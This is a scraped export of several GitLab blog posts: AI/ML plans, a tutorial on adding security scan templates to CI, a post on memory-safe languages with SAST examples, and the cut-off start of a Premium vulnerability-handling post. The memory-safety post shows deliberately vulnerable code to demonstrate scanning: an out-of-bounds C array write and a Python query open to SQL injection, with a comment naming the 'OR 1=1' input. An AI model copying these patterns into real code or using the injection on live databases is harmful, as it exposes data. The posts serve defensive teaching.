lifecycle, our platform also has an unrivaled level of visibility into the code, configuration, testing, deployment, and operation of the applications it produces. It is in the rich data set underpinning that curated experience where unbounded opportunity lurks. These opportunities include the ability to deliver:\n\n- **Faster deployments**: By automating various aspects of the software development lifecycle, including testing and deployment, [AI/ML can help DevSecOps](/blog/why-ai-in-devops-is-here-to-stay/) teams deliver software faster and more reliably.\n- **Improved security**: AI/ML can help identify and mitigate potential security threats by analyzing data patterns and behavior. It can also automate security testing and analysis, leading to faster and more accurate detection and remediation of vulnerabilities.\n- **Enhanced quality assurance**: AI/ML can help automate quality assurance processes by analyzing data patterns and identifying potential issues in code, leading to faster testing, fewer bugs, and higher quality software.\n- **Intelligent monitoring and alerting**: AI/ML can help monitor systems in real time, analyzing data from logs, alerts, and other sources to detect anomalous behavior and potential security threats.\n- **Predictive analytics**: AI/ML can help DevSecOps teams predict potential issues, identify patterns, and make data-driven decisions to improve their software before issues become critical.\n\nGitLab will focus on incorporating AI/ML capabilities that leverage our unique strengths to deliver unique value. In particular, we plan to:\n\n- incorporate generative AI into GitLab to massively simplify, accelerate, or entirely obviate parts of the software development process,\n- use the unique data set at our disposal to make novel connections and surface insights to users about their teams, their processes, and the software they are building - insights that are otherwise lost to the voids of piecemeal DevOps toolchains.\n- build the MLOps and DataOps plumbing that will enable organizations to build and deploy AI/ML workloads using GitLab.\n\n## AI/ML in GitLab today\n\nHere are some of the ways we are using AI/ML in GitLab today.\n\n### AI/ML for automation\n\nFirst, we are applying ML and AI to automate mundane tasks and reduce the cognitive load for our customers. We are currently developing [AI Assisted capabilities](/direction/modelops/ai_assisted/) to improve productivity and efficiency for everyone in the software delivery workflow. Here are some AI Assisted capabilities available in GitLab today:\n\n![Suggested Review Screenshot](https://about.gitlab.com/images/15_4/create-code-review-suggested-reviewers.png){: .shadow.col-sm-4.right.wrap-text}\n\n- **Suggested Reviewers**, [released last September](/releases/2022/09/22/gitlab-15-4-released/#suggested-reviewers-open-beta), automatically suggests the best available reviewer for a merge request. This capability removes the guesswork by ensuring the right reviewer with the right contextual knowledge is reviewing code changes so that developers can deploy software more efficiently. Early users have told us that Suggested Reviewers minimizes delays and leads to better reviews. They now have more confidence in the code they deploy. The tool has generated tens of thousands of suggested reviewers to more efficiently and securely review code on our platform. You can learn more about the feature and how to enable it in [our Suggested Reviewers documentation](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#suggested-reviewers).\n\n- **GitLab Code Suggestions**, [released in closed beta this past February](/releases/2023/02/22/gitlab-15-9-released/#code-suggestions-available-in-closed-beta), aims to increase developer speed and productivity by providing code suggestions in GitLab’s VS Code IDE plugin. We’re actively building this into GitLab’s new Web IDE and Remote Development solution as well. Ultimate customers interested in joining the beta of Code Suggestions [can fill out this form](https://forms.gle/cbjqJhLGV1i7t6Sd8). Additional information about Code Suggestions can be found on [our direction page](/direction/modelops/ai_assisted/code_suggestions/). \n\n![Animated gif image of code suggestions](https://about.gitlab.com/images/15_9/DemoFastApi.gif){: .shadow}\n\n### Protecting customer source code\n\nWe’ve heard from many of our enterprise DevSecOps customers that their organizations care deeply about the privacy of their source code. They understandably want control over who processes their data and if their code is used to train code generation AI models. That’s why we’ve built our code suggestions feature to work natively within GitLab. Customer source code does not leave the GitLab instance and it is not used to retrain generic multi-customer code generation models.\n\n## The road ahead for GitLab and AI\n\nWe plan to add many AI capabilities throughout our DevSecOps platform, including: \n\n- automating mundane tasks across the software development lifecycle with [Workflow Automation](/direction/modelops/ai_assisted/workflow_automation/) including assigning, labeling, and summarizing. \n- reducing the risk due to insecure coding practices by automatically detecting and help remediating code quality and security vulnerabilities with [Intelligent Code Security](/direction/modelops/ai_assisted/intelligent_code_security/). \n- augmenting developers with generative [Code Suggestions](/direction/modelops/ai_assisted/code_suggestions/) while writing, reviewing, and fixing code.\n\nWe also want to make it easier for customers to build and deploy amazing AI/ML-backed applications to their customers faster. We are working to integrate [ModelOps](/direction/modelops/) features into the GitLab DevSecOps Platform to better support data science workloads and extend DevSecOps workflows to AI and ML workloads. This includes: \n\n- enabling data science teams to work seamlessly within the Gitlab platform with [better support for python notebooks](https://docs.gitlab.com/ee/user/project/repository/jupyter_notebooks/) and [GPU runners](https://docs.gitlab.com/runner/configuration/gpus.html).\n- improving handoffs between data science teams and DevSecOps teams with a native [GitLab Model Registry](https://gitlab.com/groups/gitlab-org/-/epics/9423).\n\n## Follow along\n\nThis blog is the first in [an ongoing series](/blog/ai-ml-in-devsecops-series/) about GitLab’s journey to [build and integrate ML/AI into our DevSecOps platform. Throughout the series, we’ll feature blogs from our product, engineering, and UX teams that will showcase how we’re infusing AI/ML into GitLab. \n\nWe believe AI is going to dramatically change the way teams work and the way organizations develop, secure, and operate software. We’re using our core value of iteration and our experience building the most comprehensive DevSecOps platform to bring the power of AI/ML to bear on the software development lifecycle. \n\nWant to continue reading about AI? Check out the next blog in this series:[How AI-assisted code suggestions will advance DevSecOps](https://about.gitlab.com/blog/ai-assisted-code-suggestions/)!\n\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[790,754],{"slug":10792,"featured":6,"template":678},"what-the-ml-ai","content:en-us:blog:what-the-ml-ai.yml","What The Ml Ai","en-us/blog/what-the-ml-ai.yml","en-us/blog/what-the-ml-ai",{"_path":10798,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10799,"content":10805,"config":10811,"_id":10813,"_type":16,"title":10814,"_source":17,"_file":10815,"_stem":10816,"_extension":20},"/en-us/blog/getting-started-with-gitlab-application-security",{"title":10800,"description":10801,"ogTitle":10800,"ogDescription":10801,"noIndex":6,"ogImage":10802,"ogUrl":10803,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10803,"schema":10804},"Getting started with GitLab application security","This tutorial shows how to incorporate GitLab security scan templates into a .gitlab-ci.yml file and view scan results.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663993/Blog/Hero%20Images/2018-developer-report-cover.jpg","https://about.gitlab.com/blog/getting-started-with-gitlab-application-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab application security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Hernandez\"},{\"@type\":\"Person\",\"name\":\"Julie Byrne\"}],\n        \"datePublished\": \"2023-03-15\",\n      }",{"title":10800,"description":10801,"authors":10806,"heroImage":10802,"date":10808,"body":10809,"category":734,"tags":10810},[10807,5911],"Victor Hernandez","2023-03-15","\nAs software security becomes increasingly important, many companies want to introduce standard code scanning processes into development workflows to find and remediate security vulnerabilities before they get to production. GitLab's DevSecOps Platform allows users to perform security scans in CI/CD pipelines, which can easily be enabled to check applications for security vulnerabilities such as unauthorized access, data leaks, and denial of service (DoS) attacks. While most of what is covered in this blog will pertain to Ultimate features, there are some features available for free and Premium tier users as well. By the end of this blog, you will have a solid starting point for adopting GitLab security scans, with any tier license, and understand the steps to take next to mature your DevSecOps practices.\n\n## Prerequisites\nTo enable security scanning for a project, you must have the following:\n- a GitLab project that meets the requirements of the security scan you choose to enable, with CI enabled\n- a `.gitlab-ci.yml` file for the project that has at least a build job defined\n- a Linux-based GitLab Runner with the Docker or Kubernetes executor\n\n## Get started: Add a scan template to your pipeline\n\nHere are the first steps to introduce security scanning.\n\n### Available security scans\n\nGitLab provides a variety of security scanners, each with its own set of criteria for adoption:\n\n| Scan type | Minimum tier | Prerequisites | Application requirements |\n| --- | --- | --- | --- |\n| [Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Free | None | See [SAST requirements](https://docs.gitlab.com/ee/user/application_security/sast/index.html#requirements) |\n| [Secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) | Free | None | None |\n| [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Free | Container image built and pushed to registry | [Docker 18.09.03 or higher installed on the same computer as the runner](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#requirements); image uses a [supported distribution](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#supported-distributions) |\n| [Infrastructure as code (IaC) scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) |  Free | None | See [supported languages and frameworks](https://docs.gitlab.com/ee/user/application_security/iac_scanning/#supported-languages-and-frameworks) |\n| [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) - includes license compliance | Ultimate | None | Application must use one of the [supported languages and package managers](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#supported-languages-and-package-managers) |\n| [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Ultimate | [Deployed target application](https://docs.gitlab.com/ee/user/application_security/dast/index.html#prerequisites) | See [GitLab DAST scanning options](https://docs.gitlab.com/ee/user/application_security/dast/index.html#gitlab-dast) |\n| [Coverage-guided fuzz testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Ultimate | Instrumented version of application | See [supported fuzzing engines and languages](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/index.html#supported-fuzzing-engines-and-languages) |\n| [Web API fuzz testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) |  Ultimate | Deployed target application | See [supported API types](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#enable-web-api-fuzzing) |\n\nMany customers will start with secret detection, dependency scanning, or SAST scanning, as they have the fewest requirements for usage.\n\n### Add the scanner template\n\nGitLab provides a [CI template for each security scan](https://docs.gitlab.com/ee/user/application_security/#security-scanning-without-auto-devops) that can be added to your existing `.gitlab-ci.yml` file. This can be done by manually editing the CI file and adding the appropriate template path in the templates section of the file. Several scanners can also be [enabled via the UI](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-the-ui), where a merge request will be created to add the appropriate scanner to the `.gitlab-ci.yml` file. \n\nI will use a simple spring boot application as an example and enable dependency scanning, a scanner that is popular amongst our customers, as my first security scan. Dependency scanning will find vulnerabilities in the libraries I am using to build my application. My project is a Java application built via Maven and includes a `pom.xml` file, so it meets the requirements for dependency scanning. Since dependency scanning can be enabled via the UI, I'm going to take advantage of that feature here. \n\nFor this project, I have created a `.gitlab-ci.yml` file that contains a build and test stage and a build job. I'm using the Auto DevOps auto-build job, but you can define your own build job if desired. This is the starting pipeline code in my `.gitlab-ci.yml` file:\n\n```\nimage: alpine:latest\n\ninclude:\n  - template: Jobs/Build.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml\n\nstages:\n- build\n- test\n\n```\n\nTo enable dependency scanning, I'll first navigate to the **Security & Compliance** menu, **Configuration** sub-menu.\n\n![web identity](https://about.gitlab.com/images/blogimages/2023-02-26-getting-started-with-gitlab-application-security/security_config.png){: .shadow}\n\nThe option to enable dependency scanning is available about halfway down the page. When I click `Configure with a merge request`, a branch is created and I am prompted to create a corresponding draft merge request. I'll click `Create Merge Request` to save the merge request.\n\nOnce the merge request has been created, I see that a new branch `set-dependency-scanning-config-1` has been created and the `.gitlab-ci.yml` file has been updated with this code:\n\n```\n# You can override the included template(s) by including variable overrides\n# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings\n# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings\n# Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings\n# Container Scanning customization: https://docs.gitlab.com/ee/user/application_security/container_scanning/#customizing-the-container-scanning-settings\n# Note that environment variables can be set in several places\n# See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence\nimage: alpine:latest\ninclude:\n- template: Jobs/Build.gitlab-ci.yml\n- template: Security/Dependency-Scanning.gitlab-ci.yml\nstages:\n- build\n- test\n\n```\n\nThe change kicks off a pipeline, which will now include the dependency scan.\n\n![web identity](https://about.gitlab.com/images/blogimages/2023-02-26-getting-started-with-gitlab-application-security/dependency_job.png){: .shadow}\n\n## View results of the security scan\n\nFor all license tiers, you can view the results of any security scan jobs in the appropriate JSON report that can be downloaded from the merge request.\n\n![web identity](https://about.gitlab.com/images/blogimages/2023-02-26-getting-started-with-gitlab-application-security/mr_artifacts.png){: .shadow}\n\nWith GitLab Ultimate, you will also see the vulnerabilities found by the scan in the merge request widget.\n\n![web identity](https://about.gitlab.com/images/blogimages/2023-02-26-getting-started-with-gitlab-application-security/mr_widget.png){: .shadow}\n\nAt this point, the `.gitlab-ci.yml` changes that enable security scanning are only available in the `set-dependency-scanning-config-1` branch. I will merge them to `main` so that the changes will be included in all future feature branches.\n\nWith GitLab Ultimate, merging to `main` will also provide the baseline **Vulnerability Report** for our application.  \n\n![web identity](https://about.gitlab.com/images/blogimages/2023-02-26-getting-started-with-gitlab-application-security/vuln_report.png){: .shadow}\n\nNow, scan results presented in the merge request widget for any new merge requests will only show vulnerabilities introduced by those new code changes in the corresponding feature branch, and not the baseline of vulnerabilities that already exist on `main`.\n\n## Scan enforcement\n\nOnce you have enabled your first scans in your CI/CD pipelines, you might be curious to know how you can enforce security scans, or enforce a review and approval when critical vulnerabilities are found in new code changes. I recommend reviewing these resources that cover these topics. \n - For Ultimate customers: [How to ensure separation of duties and enforce compliance with GitLab](/blog/ensuring-compliance/)\n - For Premium customers: [How to action security vulnerabilities in GitLab Premium](https://about.gitlab.com/blog/actioning-security-vulnerabilities-in-gitlab-premium/)\n\nNow that you've gained comfort with security scanners as part of the GitLab CI/CD pipeline, check out our [Getting Started with GitLab Application Security](https://docs.gitlab.com/ee/user/application_security/get-started-security.html) documentation for recommended next steps.\n\n## More resources\n - [How GitLab's application security dashboard helps AppSec engineers](/blog/secure-stage-for-appsec/)\n - [Running security scans in limited connectivity and offline environments](/blog/offline-environments/)\n - [GitLab's newest continuous compliance features bolster software supply chain security](/blog/gitlabs-newest-continuous-compliance-features-bolster-software/)\n",[943,1384,1385,674],{"slug":10812,"featured":6,"template":678},"getting-started-with-gitlab-application-security","content:en-us:blog:getting-started-with-gitlab-application-security.yml","Getting Started With Gitlab Application Security","en-us/blog/getting-started-with-gitlab-application-security.yml","en-us/blog/getting-started-with-gitlab-application-security",{"_path":10818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10819,"content":10824,"config":10829,"_id":10831,"_type":16,"title":10832,"_source":17,"_file":10833,"_stem":10834,"_extension":20},"/en-us/blog/memory-safe-vs-unsafe",{"title":10820,"description":10821,"ogTitle":10820,"ogDescription":10821,"noIndex":6,"ogImage":8135,"ogUrl":10822,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10822,"schema":10823},"How to secure memory-safe vs. manually managed languages","Learn how GitLab reduces source code risk using scanning, vulnerability management, and other key features.","https://about.gitlab.com/blog/memory-safe-vs-unsafe","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure memory-safe vs. manually managed languages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2023-03-14\",\n      }",{"title":10820,"description":10821,"authors":10825,"heroImage":8135,"date":10826,"body":10827,"category":674,"tags":10828},[1622],"2023-03-14","\nThe National Security Agency (NSA) has published an executive summary showcasing the \nrisk of using [manually managed languages](https://en.wikipedia.org/wiki/Manual_memory_management) over [memory-safe languages](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)) in application\ndevelopment. Manual memory management may introduce major bugs and security risks into your application if\nthe memory is managed incorrectly.\n\nSecurity bugs introduced by manually managed languages can be catastrophic to the function of the\napplication, as well as the information contained in the application. These bugs may cause\nperformance slowdowns, application crashes, remote code execution, information leakage, and\nsystem failures.\n\nBugs that may be introduced include the following:\n\n* [Memory leak](https://en.wikipedia.org/wiki/Memory_leak): Memory no longer being used is not released, which reduces the amount of available memory.\n* [Buffer overflow](https://en.wikipedia.org/wiki/Buffer_overflow): Overwriting of memory locations adjacent to a buffers boundary.\n* [Segmentation fault](https://en.wikipedia.org/wiki/Segmentation_fault): An application tries to access a restricted piece of memory.\n* [Wild pointers](https://en.wikipedia.org/wiki/Dangling_pointer): Pointer points to the memory which has been deallocated.\n* [Undefined behavior](https://en.wikipedia.org/wiki/Undefined_behavior): An application with unpredictable behavior.\n\nTo provide some insight on the prevalance of risk introduced by manually managed languages, Microsoft\nrevealed that within the span of 12 years, [70% of their vulnerabilities](https://github.com/Microsoft/MSRC-Security-Research/blob/master/presentations/2019_02_BlueHatIL/2019_01%20-%20BlueHatIL%20-%20Trends%2C%20challenge%2C%20and%20shifts%20in%20software%20vulnerability%20mitigation.pdf) were due to mismanagement of memory.\nGoogle reported that there was a [similar percentage of vulnerabilities](https://security.googleblog.com/2021/09/an-update-on-memory-safety-in-chrome.html) introduced by memory safety\nviolations within the Chrome browser.\n\nAll these vulnerabilities can be exploited by malicious actors who may compromise a device, potentially leading to a compromise of a larger network infrastructure. With this large risk presented by mismanaged memory,\nthe NSA advises organizations to consider using memory-safe languages wherever possible and providing\nmechanisms to harden applications built with manually managed languages.\n\n## Memory-safe languages vs. manually managed languages\n\nA memory-safe language is a language where memory allocation and garbage collection are abstracted away from\nthe developer and handled by the programming language itself. These languages include **Python**, **Java**, and **Go**,\nto name a few.\n\nIn contrast, manually managed languages provide a developer with full control over the system memory (with some exceptions).\nThe most popular manually managed languages are **C** and **C++**.\n\nEach language type has a purpose and use case. There are times when a memory-safe language is recommended, but there are also\ntimes when it may not suit the application requirements.\n\nBelow is a list of some pros and cons of each language type:\n\n| Language type | Pros | Cons |\n| ------------- | ---- | ---- |\n| Memory safe | Memory mangement abstracted from developer, reduced risk of memory errors | Reduced efficency/performance, unpredictable garbage collection |\n| Manually managed | Enhanced efficency/performance, no garbage collection overhead | Prone to memory-related failures |\n\nManually managed languages provide the developer with more power, but also introduce a greater amount\nof risk, so they should only be used where required.\n\n## Memory 'unsafe' language security scanning\n\nAlthough many organizations are promoting the use of memory-safe languages vs. manually managed ones, it is unrealistic\nto remove manually managed languages from a developer's toolbox. Therefore, developers must get ahead of all the\nbugs/vulnerabilities that may be introduced. This can be done by scanning application source code.\n\nGitLab supports various scanners for memory-unsafe languages. Below you can see the scanners\nused for C and C++:\n\n| Language | Scanners |\n| -------- | -------- |\n| C | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) |\n| C++ | [Flawfinder](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder) |\n\nNow let's take a look at how [GitLab's static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) allows us to find and resolve vulnerabilities.\nBelow is an application which doesn't crash, but may generate unexpected behavior:\n\n```C\n#include \u003Cstdio.h>\n\nint main()\n{  \n  char msg[5] = \"Hello\";\n\n  /* Add exclamation, to a position that doesn't exist*/\n  msg[8] = '!';\n\n  /* print each letter 1 by 1 */\n  /* Notice we are going further than the length of the array */\n  int i;\n  for (i = 0; i \u003C 10; ++i)\n  {\n    printf(\"%i: %c \\n\", i, msg[i]);\n  }\n\n  return 0;\n}\n```\n\nWhen running the GitLab SAST scanner, the vulnerability is detected and a solution is provided:\n\n![GitLab SAST scanner results](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/CWE_120.png)\n\nIt shows you need to **perform bounds checking, use functions that limit length**, or\n**ensure that the size is larger than the maximum possible length.** You can also see the\n[CWE](https://cwe.mitre.org/data/definitions/120.html) for more information on how the system may be impacted.\nNote that vulnerabilities are actionable. These actions include the ability to dismiss a vulnerability and add\nadditional information for the security team to review, or a confidential issue can be created for review.\n\nThese scanners allow [DevSecOps](/topics/devsecops/) teams to resolve security issues before code makes it into production and safeguard their application\nfrom memory issues. Note that not all memory issues are easily detected due to the nature of manual memory management.\nTherefore, it is also important to add unit tests, fuzzing, and run checks using the GitLab CI to further ensure the reliability\nand security of your application.\n\nThe following applications contain examples of creating a GitLab pipeline for C applications:\n- [General Build, SAST, and Run](https://gitlab.com/tech-marketing/devsecops/initech/other/cul8r)\n- [Coverage-based fuzzing](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/c-cpp-fuzzing-example)\n\n## Memory-safe language security scanning\n\nAs more developers move to memory-safe languages, it is important that the tools\nused to prevent vulnerabilities support these languages as well. GitLab provides a rich feature set for\nsecuring application source code, especially for memory-safe languages.\n\nBelow is a table of some the popular languages GitLab supports. To see the full list, visit the\n[GitLab SAST Language/Framework Support](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) page.\n\n| Language | Scanners |\n| -------- | -------- |\n| Python | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [Bandit](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) |\n| Go | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [GoSec](https://gitlab.com/gitlab-org/security-products/analyzers/gosec) |\n| Java | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [SpotBugs with the find-sec-bugs plugin](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs), [MobSF (beta)](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf) |\n| JavaScript | [Semgrep with GitLab-managed rules](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep), [ESLint security plugin](https://gitlab.com/gitlab-org/security-products/analyzers/eslint) |\n| Ruby | [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) |\n\nGitLab uses a mix of open source tools developed in-house as well as commonly used tools within the open source community.\nIt is important to note that GitLab's security research team creates custom rules to better reduce false positives as well\nas enhance the number of vulnerabilities found.\n\nHere are some Python functions, which can be exploited and then data can be obtained via [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection):\n\n```python\ndef select_note_by_id(conn, id=None, admin=False):\n   query = \"SELECT id, data FROM notes WHERE secret IS FALSE\"\n   cur = conn.cursor()\n\n   # Admin doesn't have search by id function, since only used in the UI\n   if admin:\n       query = \"SELECT id, data, ipaddress, hostname, secret FROM notes\"\n\n   if id:\n       if admin:\n           query = query + \" WHERE id = %s\" % id\n       else:\n           # NOTE: Vulnerable to SQL injection, can get secret notes\n           # by adding 'OR 1=1', since not parameterized\n           query = query + \" AND id = %s\" % id\n\n   try:\n       cur.execute(query)\n   except Exception as e:\n       note.logger.error(\"Error: cannot select note by id - %s\" % e)\n\n   allItems = cur.fetchall()\n   conn.close()\n\n   if len(allItems) == 0:\n       return []\n\n   return allItems\n```\n\nWhen running the GitLab SAST scanner, you can see the SQL injection vulnerability is detected. A solution\nis provided with the line of code affected as well as identifiers that provide more information on how the\n[CWE](https://cwe.mitre.org/data/definitions/89.html) can affect your system.\n\n![SQL Injection and solution](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/CWE_89.png)\n\nNotice that there is also training to enable developers to understand the vulnerability and how\nit can be exploited, and to make them more security-aware.\n\n## Other application attack vectors\n\nUsing a memory-safe language along with a SAST scanner reduces vulnerability risk, but there are more attack vectors to consider, including configurations, infrastructure, and dependencies. This is why it is important to scan all aspects of your application.\n\nGitLab offers the following scanners to help you achieve full coverage:\n\n| Scanner type | Description |\n| ------------ | ----------- |\n| [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Examines applications for vulnerabilities like these in deployed environments. |\n| [Infrastructure as code (IaC) scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | Scans your IaC (Terraform, Ansible, AWS CloudFormation, Kubernetes, etc.) configuration files for known vulnerabilities. |\n| [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Finds security vulnerabilities in your software dependencies. |\n| [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Scans your applications container images for known vulnerabilities. |\n| [License scanning - CycloneDX](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/index.html) | Capable of parsing and identifying over 500 different types of licenses and can extract license information from packages that are dual-licensed or have multiple different licenses that apply. |\n| [Secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) | Scans your repository for secrets. |\n| [Coverage-guided fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Sends random inputs to an instrumented version of your application in an effort to cause unexpected behavior. |\n| [Web API fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Sets operation parameters to unexpected values in an effort to cause unexpected behavior and errors in the API backend. |\n\nAside from full scanner coverage, it important to add guardrails to prevent vulnerable code from compromising a production environment.\nThis can be done by requiring approval from the security team for merging any code with vulnerabilities using [GitLab policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n\nTo get started using these tools and more, check out the [GitLab Application Security](https://docs.gitlab.com/ee/user/application_security/) page.\nIt's as simple as signing up for GitLab Ultimate and adding some templates to your .gitlab-ci.yml.\n\n## Managing vulnerabilities of all types\n\nAlthough we can find and address vulnerabilities before they make it into production, it is not possible to\neliminate all risk. This is why it is important to be able to assess the security posture of your project or\ngroup of projects.\n\nFor this, GitLab provides [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which allow you to manage and triage vulnerabilities\nwithin the main branch of the application. You can sort through all the vulnerabilities for a project or\ngroup of projects using a variety of different criteria.\n\n![Vulnerability report screenshot](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/vulnerability_report.png)\n\nClicking on a vulnerability sends you to its [Vulnerability Page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/).\nThere you can review details on the vulnerability, manage its status, collaborate with other members of\nthe security team, as well as create confidential issues to assign to developers.\n\n![Vulnerability Page](https://about.gitlab.com/images/blogimages/memory-safe-vs-manually-managed/vulnerability_page.png)\n\n---\n\nThanks for reading! To learn more about available Security features, check out GitLab's [application security documentation](https://docs.gitlab.com/ee/user/application_security/)\nand get started securing your application today. You can also sign up for a [30-day free GitLab Ultimate trial](https://about.gitlab.com/free-trial/)\nand test the [Simple Notes Application](https://gitlab.com/tech-marketing/devsecops/initech/simple-notes), which contains a [full tutorial](https://tech-marketing.gitlab.io/devsecops/initech/simple-notes/) on getting started\nwith implementing and using many of GitLab's security features.\n\n## References\n\nBelow are some references used in this blog:\n\n* [The Federal Government is Moving on Memory Safety for Cybersecurity](https://www.nextgov.com/cybersecurity/2022/12/federal-government-moving-memory-safety-cybersecurity/381275/)\n* [Future of Memory Safety - Challenges and Recommendations](https://advocacy.consumerreports.org/wp-content/uploads/2023/01/Memory-Safety-Convening-Report-1-1.pdf)\n* [NSA Software Memory Safety Report](https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF)\n* [Memory Safety Wiki](https://en.wikipedia.org/wiki/Memory_safety)\n* [Manual Memory Management Wiki](https://en.wikipedia.org/wiki/Manual_memory_management)\n* [Unsafe Languages - University of Washington CS Lecture Notes](https://courses.cs.washington.edu/courses/cse341/04wi/lectures/26-unsafe-languages.html)\n* [GitLab SAST](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [GitLab Application Security](https://docs.gitlab.com/ee/user/application_security/)\n* [GitLab Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/)\n\n_Cover image by [Mohammad Rahmani](https://unsplash.com/@afgprogrammer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/C-programming?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_",[674,943,696],{"slug":10830,"featured":6,"template":678},"memory-safe-vs-unsafe","content:en-us:blog:memory-safe-vs-unsafe.yml","Memory Safe Vs Unsafe","en-us/blog/memory-safe-vs-unsafe.yml","en-us/blog/memory-safe-vs-unsafe",{"_path":10836,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10837,"content":10843,"config":10848,"_id":10850,"_type":16,"title":10851,"_source":17,"_file":10852,"_stem":10853,"_extension":20},"/en-us/blog/actioning-security-vulnerabilities-in-gitlab-premium",{"title":10838,"description":10839,"ogTitle":10838,"ogDescription":10839,"noIndex":6,"ogImage":10840,"ogUrl":10841,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10841,"schema":10842},"How to action security vulnerabilities in GitLab Premium","Learn step-by-step how to process detected vulnerabilities and spawn merge request approval rules from critical vulnerabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099637/Blog/Hero%20Images/Blog/Hero%20Images/security-pipelines_security-pipelines.jpg_1750099637178.jpg","https://about.gitlab.com/blog/actioning-security-vulnerabilities-in-gitlab-premium","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to action security vulnerabilities in GitLab Premium\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2023-03-13\",\n      }",{"title":10838,"description":10839,"authors":10844,"heroImage":10840,"date":10845,"body":10846,"category":674,"tags":10847},[5075,2621],"2023-03-13","\n\nGitLab Premium features several security scanners you can leverage to detect vulnerabilities. However, when you incorporate the scanners into your project pipelines and the scanning job succeeds, you'll want feedback on whether you are introducing vulnerabilities into the codebase. This tutorial provides a mechanism to require a merge request approval if a scanner available on GitLab Premium finds a critical vulnerability.\n\n*While this tutorial shows how to add some process around actioning vulnerabilities, we have more robust, governed, and user-friendly functionality available in GitLab Ultimate called a [Scan Result Policy](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html). The solution outlined here does not seek to replace that functionality, but rather augment the scan results available in GitLab Premium. If you are an Ultimate user or if you want to compare the two experiences, then you 